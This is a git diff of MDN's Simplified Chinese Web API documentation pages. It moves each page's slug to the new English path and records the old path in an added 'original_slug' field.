    diff --git a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html index 40693fd8cc..9200638c57 100644 --- a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.decodeAudioData() -slug: Web/API/AudioContext/decodeAudioData +slug: Web/API/BaseAudioContext/decodeAudioData tags: - API - Audio - audio接口 - 音频解码 translation_of: Web/API/BaseAudioContext/decodeAudioData +original_slug: Web/API/AudioContext/decodeAudioData ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/destination/index.html b/files/zh-cn/web/api/baseaudiocontext/destination/index.html index 04fdfe8247..c1ebabfc81 100644 --- a/files/zh-cn/web/api/baseaudiocontext/destination/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/destination/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.destination -slug: Web/API/AudioContext/destination +slug: Web/API/BaseAudioContext/destination translation_of: Web/API/BaseAudioContext/destination +original_slug: Web/API/AudioContext/destination ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/listener/index.html b/files/zh-cn/web/api/baseaudiocontext/listener/index.html index 81b2a730a2..64e97d31cc 100644 --- a/files/zh-cn/web/api/baseaudiocontext/listener/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/listener/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.listener -slug: Web/API/AudioContext/listener +slug: Web/API/BaseAudioContext/listener translation_of: Web/API/BaseAudioContext/listener +original_slug: Web/API/AudioContext/listener ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html index ee9b3f21c0..b2ee0a7463 100644 --- a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.onstatechange -slug: Web/API/AudioContext/onstatechange +slug: Web/API/BaseAudioContext/onstatechange translation_of: Web/API/BaseAudioContext/onstatechange +original_slug: Web/API/AudioContext/onstatechange ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html index b811702e26..d888951ef6 100644 --- a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.sampleRate -slug: Web/API/AudioContext/sampleRate +slug: Web/API/BaseAudioContext/sampleRate translation_of: Web/API/BaseAudioContext/sampleRate +original_slug: Web/API/AudioContext/sampleRate ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/state/index.html b/files/zh-cn/web/api/baseaudiocontext/state/index.html index 97876f5d3d..df6b383bc9 100644 --- a/files/zh-cn/web/api/baseaudiocontext/state/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/state/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.state -slug: Web/API/AudioContext/state +slug: Web/API/BaseAudioContext/state translation_of: Web/API/BaseAudioContext/state +original_slug: Web/API/AudioContext/state ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/broadcastchannel/message_event/index.html b/files/zh-cn/web/api/broadcastchannel/message_event/index.html index ccbd2d9859..9b89d2bd63 100644 --- a/files/zh-cn/web/api/broadcastchannel/message_event/index.html +++ b/files/zh-cn/web/api/broadcastchannel/message_event/index.html @@ -1,11 +1,12 @@ --- title: 'BroadcastChannel: message event' -slug: Web/Events/message +slug: Web/API/BroadcastChannel/message_event tags: - 事件 - 消息 - 通信 translation_of: Web/API/BroadcastChannel/message_event +original_slug: Web/Events/message ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html index 1a71e7d834..a6a2e34ccc 100644 --- a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html +++ b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html @@ -1,7 +1,8 @@ --- title: CanvasCaptureMediaStream -slug: Web/API/CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStreamTrack translation_of: Web/API/CanvasCaptureMediaStreamTrack +original_slug: Web/API/CanvasCaptureMediaStream ---
    {{APIRef}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html index 8ddfa8df8e..fb81f88093 100644 --- a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html +++ b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -1,6 +1,6 @@ --- title: 使用 channel messaging -slug: Web/API/Channel_Messaging_API/使用_channel_messaging +slug: Web/API/Channel_Messaging_API/Using_channel_messaging tags: - API - Channel messaging @@ -9,6 +9,7 @@ tags: - MessagePort - 指南 translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +original_slug: Web/API/Channel_Messaging_API/使用_channel_messaging ---

    {{DefaultAPISidebar("Channel Messaging API")}}

    diff --git a/files/zh-cn/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/web/api/crypto/getrandomvalues/index.html index 5df5fb0a83..504ab67343 100644 --- a/files/zh-cn/web/api/crypto/getrandomvalues/index.html +++ b/files/zh-cn/web/api/crypto/getrandomvalues/index.html @@ -1,6 +1,6 @@ --- title: Crypto.getRandomValues() -slug: Web/API/RandomSource/getRandomValues +slug: Web/API/Crypto/getRandomValues tags: - API - 加密 @@ -9,6 +9,7 @@ tags: - 密码学 - 方法 translation_of: Web/API/Crypto/getRandomValues +original_slug: Web/API/RandomSource/getRandomValues ---

    {{APIRef("Web Crypto API")}}

    diff --git a/files/zh-cn/web/api/csspagerule/index.html b/files/zh-cn/web/api/csspagerule/index.html index ff1d047a59..750765aa1d 100644 --- a/files/zh-cn/web/api/csspagerule/index.html +++ b/files/zh-cn/web/api/csspagerule/index.html @@ -1,7 +1,8 @@ --- title: CSS分页规则 -slug: Web/API/CSS分页规则 +slug: Web/API/CSSPageRule translation_of: Web/API/CSSPageRule +original_slug: Web/API/CSS分页规则 ---
    {{APIRef("CSSOM")}}
    diff --git a/files/zh-cn/web/api/devicemotioneventacceleration/index.html b/files/zh-cn/web/api/devicemotioneventacceleration/index.html index 34b215d781..a278374222 100644 --- a/files/zh-cn/web/api/devicemotioneventacceleration/index.html +++ b/files/zh-cn/web/api/devicemotioneventacceleration/index.html @@ -1,6 +1,6 @@ --- title: DeviceAcceleration -slug: Web/API/DeviceAcceleration +slug: Web/API/DeviceMotionEventAcceleration tags: - API - 传感器 @@ -9,6 +9,7 @@ tags: - 需要示例 translation_of: Web/API/DeviceMotionEventAcceleration translation_of_original: Web/API/DeviceAcceleration +original_slug: Web/API/DeviceAcceleration ---
    {{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/document/fullscreen/index.html b/files/zh-cn/web/api/document/fullscreen/index.html index eb15adcede..f1d6edc436 100644 --- a/files/zh-cn/web/api/document/fullscreen/index.html +++ b/files/zh-cn/web/api/document/fullscreen/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreen -slug: Web/API/Document/mozFullScreen +slug: Web/API/Document/fullscreen translation_of: Web/API/Document/fullscreen +original_slug: Web/API/Document/mozFullScreen ---

     

    diff --git a/files/zh-cn/web/api/document/fullscreenenabled/index.html b/files/zh-cn/web/api/document/fullscreenenabled/index.html index 248797541a..244abe8e26 100644 --- a/files/zh-cn/web/api/document/fullscreenenabled/index.html +++ b/files/zh-cn/web/api/document/fullscreenenabled/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreenEnabled -slug: Web/API/Document/mozFullScreenEnabled +slug: Web/API/Document/fullscreenEnabled translation_of: Web/API/Document/fullscreenEnabled +original_slug: Web/API/Document/mozFullScreenEnabled ---

    {{ ApiRef() }}

    概述

    diff --git a/files/zh-cn/web/api/document/onafterscriptexecute/index.html b/files/zh-cn/web/api/document/onafterscriptexecute/index.html index f1e976522e..74bd826004 100644 --- a/files/zh-cn/web/api/document/onafterscriptexecute/index.html +++ b/files/zh-cn/web/api/document/onafterscriptexecute/index.html @@ -1,10 +1,11 @@ --- title: element.onafterscriptexecute -slug: Web/API/Element/onafterscriptexecute +slug: Web/API/Document/onafterscriptexecute tags: - DOM - onafterscriptexecute translation_of: Web/API/Document/onafterscriptexecute +original_slug: Web/API/Element/onafterscriptexecute ---
    {{ApiRef}}{{gecko_minversion_header("2")}}
    diff --git a/files/zh-cn/web/api/document/readystatechange_event/index.html b/files/zh-cn/web/api/document/readystatechange_event/index.html index a4f95498ad..769a0cd3c5 100644 --- a/files/zh-cn/web/api/document/readystatechange_event/index.html +++ b/files/zh-cn/web/api/document/readystatechange_event/index.html @@ -1,12 +1,13 @@ --- title: 'Document: readystatechange 事件' -slug: Web/Events/readystatechange事件 +slug: Web/API/Document/readystatechange_event tags: - Reference - XMLHttpRequest - interactive - 事件 translation_of: Web/API/Document/readystatechange_event +original_slug: Web/Events/readystatechange事件 ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/document/touchmove_event/index.html b/files/zh-cn/web/api/document/touchmove_event/index.html index 1321a0c4d2..47cfa0fb7b 100644 --- a/files/zh-cn/web/api/document/touchmove_event/index.html +++ b/files/zh-cn/web/api/document/touchmove_event/index.html @@ -1,7 +1,8 @@ --- title: touchmove -slug: Web/API/Document/rouchmove_event +slug: Web/API/Document/touchmove_event translation_of: Web/API/Document/touchmove_event +original_slug: Web/API/Document/rouchmove_event ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html index 9d18892707..79d442f4e6 100644 --- a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html +++ b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -1,10 +1,12 @@ --- title: 使用Javascript和DOM Interfaces来处理HTML -slug: 使用Javascript和DOM_Interfaces来处理HTML +slug: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces tags: - DOM translation_of: >- Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +original_slug: 使用Javascript和DOM_Interfaces来处理HTML ---

    简介

    diff --git a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html index d87cd89683..d26c1b85df 100644 --- a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html +++ b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreenElement -slug: Web/API/Document/mozFullScreenElement +slug: Web/API/DocumentOrShadowRoot/fullscreenElement translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +original_slug: Web/API/Document/mozFullScreenElement ---

    {{ ApiRef() }}

    概述

    diff --git a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html index eb6ed9cf98..38702632bd 100644 --- a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html +++ b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html @@ -1,7 +1,8 @@ --- title: Document.pointerLockElement -slug: Web/API/Document/pointerLockElement +slug: Web/API/DocumentOrShadowRoot/pointerLockElement translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +original_slug: Web/API/Document/pointerLockElement ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html index b2f4f0d980..bf7f503f53 100644 --- a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html +++ b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html @@ -1,11 +1,12 @@ --- title: Element:afterscriptexecute 事件 -slug: Web/Events/afterscriptexecute +slug: Web/API/Element/afterscriptexecute_event tags: - 事件 - 参考 - 非标准 translation_of: Web/API/Element/afterscriptexecute_event +original_slug: Web/Events/afterscriptexecute ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html index 00aa4120c1..0097f13ce6 100644 --- a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html +++ b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html @@ -1,11 +1,12 @@ --- title: Element:beforescriptexecute 事件 -slug: Web/Events/beforescriptexecute +slug: Web/API/Element/beforescriptexecute_event tags: - DOM - 参考 - 非标准 translation_of: Web/API/Element/beforescriptexecute_event +original_slug: Web/Events/beforescriptexecute ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/blur_event/index.html b/files/zh-cn/web/api/element/blur_event/index.html index a57cc5b995..a072ec452b 100644 --- a/files/zh-cn/web/api/element/blur_event/index.html +++ b/files/zh-cn/web/api/element/blur_event/index.html @@ -1,7 +1,8 @@ --- title: blur (event) -slug: Web/Events/blur +slug: Web/API/Element/blur_event translation_of: Web/API/Element/blur_event +original_slug: Web/Events/blur ---

    当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

    diff --git a/files/zh-cn/web/api/element/compositionend_event/index.html b/files/zh-cn/web/api/element/compositionend_event/index.html index 4a023fc0e5..a6f99fdb23 100644 --- a/files/zh-cn/web/api/element/compositionend_event/index.html +++ b/files/zh-cn/web/api/element/compositionend_event/index.html @@ -1,9 +1,10 @@ --- title: compositionend -slug: Web/Events/compositionend +slug: Web/API/Element/compositionend_event tags: - 事件 translation_of: Web/API/Element/compositionend_event +original_slug: Web/Events/compositionend ---

    当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

    diff --git a/files/zh-cn/web/api/element/compositionstart_event/index.html b/files/zh-cn/web/api/element/compositionstart_event/index.html index 71aa9f1f0d..3997c0b7b1 100644 --- a/files/zh-cn/web/api/element/compositionstart_event/index.html +++ b/files/zh-cn/web/api/element/compositionstart_event/index.html @@ -1,6 +1,6 @@ --- title: compositionstart -slug: Web/Events/compositionstart +slug: Web/API/Element/compositionstart_event tags: - Element - Event @@ -9,6 +9,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Element/compositionstart_event +original_slug: Web/Events/compositionstart ---

    文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

    diff --git a/files/zh-cn/web/api/element/compositionupdate_event/index.html b/files/zh-cn/web/api/element/compositionupdate_event/index.html index 11952af506..af46b6cfdb 100644 --- a/files/zh-cn/web/api/element/compositionupdate_event/index.html +++ b/files/zh-cn/web/api/element/compositionupdate_event/index.html @@ -1,7 +1,8 @@ --- title: compositionupdate -slug: Web/Events/compositionupdate +slug: Web/API/Element/compositionupdate_event translation_of: Web/API/Element/compositionupdate_event +original_slug: Web/Events/compositionupdate ---

    compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

    diff --git a/files/zh-cn/web/api/element/copy_event/index.html b/files/zh-cn/web/api/element/copy_event/index.html index ac249f5055..9c705e1de4 100644 --- a/files/zh-cn/web/api/element/copy_event/index.html +++ b/files/zh-cn/web/api/element/copy_event/index.html @@ -1,11 +1,12 @@ --- title: copy -slug: Web/Events/copy +slug: Web/API/Element/copy_event tags: - Clipboard API - Event - Reference translation_of: Web/API/Element/copy_event +original_slug: Web/Events/copy ---

    当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

    diff --git a/files/zh-cn/web/api/element/cut_event/index.html b/files/zh-cn/web/api/element/cut_event/index.html index 48c024451a..ea59997633 100644 --- a/files/zh-cn/web/api/element/cut_event/index.html +++ b/files/zh-cn/web/api/element/cut_event/index.html @@ -1,11 +1,12 @@ --- title: cut -slug: Web/Events/cut +slug: Web/API/Element/cut_event tags: - 事件 - 剪贴板API - 参考 translation_of: Web/API/Element/cut_event +original_slug: Web/Events/cut ---

    This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

    diff --git a/files/zh-cn/web/api/element/domactivate_event/index.html b/files/zh-cn/web/api/element/domactivate_event/index.html index 3185540e78..b0f129f8cc 100644 --- a/files/zh-cn/web/api/element/domactivate_event/index.html +++ b/files/zh-cn/web/api/element/domactivate_event/index.html @@ -1,11 +1,12 @@ --- title: 'Element: DOMActivate event' -slug: Web/API/Element/Activate_event +slug: Web/API/Element/DOMActivate_event tags: - API - 事件 - 参考 translation_of: Web/API/Element/DOMActivate_event +original_slug: Web/API/Element/Activate_event ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/element/error_event/index.html b/files/zh-cn/web/api/element/error_event/index.html index 913caf76bf..3d14efef34 100644 --- a/files/zh-cn/web/api/element/error_event/index.html +++ b/files/zh-cn/web/api/element/error_event/index.html @@ -1,7 +1,8 @@ --- title: error -slug: Web/Events/error +slug: Web/API/Element/error_event translation_of: Web/API/Element/error_event +original_slug: Web/Events/error ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/focus_event/index.html b/files/zh-cn/web/api/element/focus_event/index.html index 4a93ee7726..ff4ebf6447 100644 --- a/files/zh-cn/web/api/element/focus_event/index.html +++ b/files/zh-cn/web/api/element/focus_event/index.html @@ -1,7 +1,8 @@ --- title: focus -slug: Web/Events/focus +slug: Web/API/Element/focus_event translation_of: Web/API/Element/focus_event +original_slug: Web/Events/focus ---

    focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

    diff --git a/files/zh-cn/web/api/element/focusout_event/index.html b/files/zh-cn/web/api/element/focusout_event/index.html index 87a8a9bd48..defd92146f 100644 --- a/files/zh-cn/web/api/element/focusout_event/index.html +++ b/files/zh-cn/web/api/element/focusout_event/index.html @@ -1,7 +1,8 @@ --- title: focusout -slug: Web/Events/focusout +slug: Web/API/Element/focusout_event translation_of: Web/API/Element/focusout_event +original_slug: Web/Events/focusout ---

    当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

    diff --git a/files/zh-cn/web/api/element/mousewheel_event/index.html b/files/zh-cn/web/api/element/mousewheel_event/index.html index 599f17edbb..26649814ed 100644 --- a/files/zh-cn/web/api/element/mousewheel_event/index.html +++ b/files/zh-cn/web/api/element/mousewheel_event/index.html @@ -1,7 +1,8 @@ --- title: mousewheel -slug: Web/Events/mousewheel +slug: Web/API/Element/mousewheel_event translation_of: Web/API/Element/mousewheel_event +original_slug: Web/Events/mousewheel ---

    {{ Non-standard_header() }}

    diff --git a/files/zh-cn/web/api/element/paste_event/index.html b/files/zh-cn/web/api/element/paste_event/index.html index 1fb088eddf..e303cd4697 100644 --- a/files/zh-cn/web/api/element/paste_event/index.html +++ b/files/zh-cn/web/api/element/paste_event/index.html @@ -1,11 +1,12 @@ --- title: 'Element: paste事件' -slug: Web/Events/paste +slug: Web/API/Element/paste_event tags: - Clipboard API - Event - Reference translation_of: Web/API/Element/paste_event +original_slug: Web/Events/paste ---

     {{APIRef}}

    diff --git a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html index 2b825c80cc..28248babe1 100644 --- a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html +++ b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html @@ -1,7 +1,8 @@ --- title: HTMLElement.style -slug: Web/API/HTMLElement/style +slug: Web/API/ElementCSSInlineStyle/style translation_of: Web/API/ElementCSSInlineStyle/style +original_slug: Web/API/HTMLElement/style ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/event/cancelbubble/index.html b/files/zh-cn/web/api/event/cancelbubble/index.html index c228d329d6..e87685b269 100644 --- a/files/zh-cn/web/api/event/cancelbubble/index.html +++ b/files/zh-cn/web/api/event/cancelbubble/index.html @@ -1,9 +1,10 @@ --- title: Event.cancelBubble -slug: Web/API/Event/禁用时间冒泡 +slug: Web/API/Event/cancelBubble tags: - 事件 translation_of: Web/API/Event/cancelBubble +original_slug: Web/API/Event/禁用时间冒泡 ---

    {{APIRef("DOM Events")}} 

    diff --git a/files/zh-cn/web/api/eventsource/close/index.html b/files/zh-cn/web/api/eventsource/close/index.html index 3b8af5d6d3..424e609656 100644 --- a/files/zh-cn/web/api/eventsource/close/index.html +++ b/files/zh-cn/web/api/eventsource/close/index.html @@ -1,7 +1,8 @@ --- title: EventSource.close() -slug: Server-sent_events/EventSource/close +slug: Web/API/EventSource/close translation_of: Web/API/EventSource/close +original_slug: Server-sent_events/EventSource/close ---
    {{APIRef('WebSockets API')}}
    diff --git a/files/zh-cn/web/api/eventsource/eventsource/index.html b/files/zh-cn/web/api/eventsource/eventsource/index.html index a93b5eb8b2..d228a4768d 100644 --- a/files/zh-cn/web/api/eventsource/eventsource/index.html +++ b/files/zh-cn/web/api/eventsource/eventsource/index.html @@ -1,11 +1,12 @@ --- title: EventSource() -slug: Server-sent_events/EventSource/EventSource +slug: Web/API/EventSource/EventSource tags: - API - EventSource - Server-sent events translation_of: Web/API/EventSource/EventSource +original_slug: Server-sent_events/EventSource/EventSource ---

    {{APIRef('WebSockets API')}}

    diff --git a/files/zh-cn/web/api/eventsource/index.html b/files/zh-cn/web/api/eventsource/index.html index 977bf56d90..55a81c56ef 100644 --- a/files/zh-cn/web/api/eventsource/index.html +++ b/files/zh-cn/web/api/eventsource/index.html @@ -1,11 +1,12 @@ --- title: EventSource -slug: Server-sent_events/EventSource +slug: Web/API/EventSource tags: - API - Server-sent events - 参考 translation_of: Web/API/EventSource +original_slug: Server-sent_events/EventSource ---

    {{APIRef("Websockets API")}}

    diff --git a/files/zh-cn/web/api/eventsource/onerror/index.html b/files/zh-cn/web/api/eventsource/onerror/index.html index ad24259a4e..dbc9dc3e2c 100644 --- a/files/zh-cn/web/api/eventsource/onerror/index.html +++ b/files/zh-cn/web/api/eventsource/onerror/index.html @@ -1,7 +1,8 @@ --- title: EventSource.onerror -slug: Server-sent_events/EventSource/onerror +slug: Web/API/EventSource/onerror translation_of: Web/API/EventSource/onerror +original_slug: Server-sent_events/EventSource/onerror ---
    {{APIRef('WebSockets API')}}
    diff --git a/files/zh-cn/web/api/eventsource/onopen/index.html b/files/zh-cn/web/api/eventsource/onopen/index.html index dfc47bbf4e..9a4668264a 100644 --- a/files/zh-cn/web/api/eventsource/onopen/index.html +++ b/files/zh-cn/web/api/eventsource/onopen/index.html @@ -1,11 +1,12 @@ --- title: EventSource.onopen -slug: Server-sent_events/EventSource/onopen +slug: Web/API/EventSource/onopen tags: - API - Event Handler - EventSource translation_of: Web/API/EventSource/onopen +original_slug: Server-sent_events/EventSource/onopen ---
    {{APIRef('WebSockets API')}}
    diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html index e26a6b3c45..1dac673d6c 100644 --- a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html @@ -1,7 +1,8 @@ --- title: 文件系统API的基本概念 -slug: WebGuide/API/File_System/Introduction +slug: Web/API/File_and_Directory_Entries_API/Introduction translation_of: Web/API/File_and_Directory_Entries_API/Introduction +original_slug: WebGuide/API/File_System/Introduction ---

    本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

    diff --git a/files/zh-cn/web/api/filereader/abort_event/index.html b/files/zh-cn/web/api/filereader/abort_event/index.html index 8e36dbb3dd..e6a2040602 100644 --- a/files/zh-cn/web/api/filereader/abort_event/index.html +++ b/files/zh-cn/web/api/filereader/abort_event/index.html @@ -1,6 +1,6 @@ --- title: 'FileReader: 中止事件(abort)' -slug: Web/API/FileReader/中止事件(abort) +slug: Web/API/FileReader/abort_event tags: - API - FileReader @@ -11,6 +11,7 @@ tags: - 中止 - 事件 translation_of: Web/API/FileReader/abort_event +original_slug: Web/API/FileReader/中止事件(abort) ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/formdata/delete/index.html b/files/zh-cn/web/api/formdata/delete/index.html index 9d38b4e20a..2841460298 100644 --- a/files/zh-cn/web/api/formdata/delete/index.html +++ b/files/zh-cn/web/api/formdata/delete/index.html @@ -1,9 +1,10 @@ --- title: FormData.delete() -slug: Web/API/FormData/删除 +slug: Web/API/FormData/delete tags: - 删除 translation_of: Web/API/FormData/delete +original_slug: Web/API/FormData/删除 ---

    {{APIRef("XMLHttpRequest")}}

    diff --git a/files/zh-cn/web/api/fullscreen_api/guide/index.html b/files/zh-cn/web/api/fullscreen_api/guide/index.html index b2d2d36f3a..02ba338c48 100644 --- a/files/zh-cn/web/api/fullscreen_api/guide/index.html +++ b/files/zh-cn/web/api/fullscreen_api/guide/index.html @@ -1,6 +1,6 @@ --- title: 全屏指南 -slug: Web/API/Fullscreen_API/指南 +slug: Web/API/Fullscreen_API/Guide tags: - API - 全屏 @@ -12,6 +12,7 @@ tags: - 显示 - 游戏 translation_of: Web/API/Fullscreen_API/Guide +original_slug: Web/API/Fullscreen_API/指南 ---
    {{DefaultAPISidebar("Fullscreen API")}}
    diff --git a/files/zh-cn/web/api/geolocation_api/index.html b/files/zh-cn/web/api/geolocation_api/index.html index 54d8665516..1618172faf 100644 --- a/files/zh-cn/web/api/geolocation_api/index.html +++ b/files/zh-cn/web/api/geolocation_api/index.html @@ -1,10 +1,11 @@ --- title: 使用地理位置定位 -slug: Web/API/Geolocation/Using_geolocation +slug: Web/API/Geolocation_API tags: - 地理位置 API - 指南 translation_of: Web/API/Geolocation_API +original_slug: Web/API/Geolocation/Using_geolocation ---

    地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

    diff --git a/files/zh-cn/web/api/geolocationposition/timestamp/index.html b/files/zh-cn/web/api/geolocationposition/timestamp/index.html index e4c731f868..faa4a6a3da 100644 --- a/files/zh-cn/web/api/geolocationposition/timestamp/index.html +++ b/files/zh-cn/web/api/geolocationposition/timestamp/index.html @@ -1,7 +1,8 @@ --- title: GeolocationPosition.timestamp -slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +slug: Web/API/GeolocationPosition/timestamp translation_of: Web/API/GeolocationPosition/timestamp +original_slug: Web/API/GeolocationPosition/获取该位置时的时间戳 ---
    {{securecontext_header}}{{APIRef("Geolocation API")}}
    diff --git a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html index 2c3923fca9..fad4e30ac8 100644 --- a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html +++ b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html @@ -1,11 +1,12 @@ --- title: GlobalEventHandlers.ondurationchange -slug: Web/API/GlobalEventHandlers/时长改变 +slug: Web/API/GlobalEventHandlers/ondurationchange tags: - API - Audio - Video translation_of: Web/API/GlobalEventHandlers/ondurationchange +original_slug: Web/API/GlobalEventHandlers/时长改变 ---
    {{ ApiRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html index b3e30b3fe2..a4ed4b000d 100644 --- a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html +++ b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html @@ -1,7 +1,8 @@ --- title: HTMLAnchorElement.referrer -slug: Web/API/HTMLAnchorElement/referrer +slug: Web/API/HTMLAnchorElement/referrerPolicy translation_of: Web/API/HTMLAnchorElement/referrerPolicy +original_slug: Web/API/HTMLAnchorElement/referrer ---
    {{APIRef}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html index 999485b6f6..a0fdca7df3 100644 --- a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html @@ -1,7 +1,8 @@ --- title: HTMLCanvasElement.captureStream() -slug: Web/API/HTMLCanvasElement/捕获流 +slug: Web/API/HTMLCanvasElement/captureStream translation_of: Web/API/HTMLCanvasElement/captureStream +original_slug: Web/API/HTMLCanvasElement/捕获流 ---
    {{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
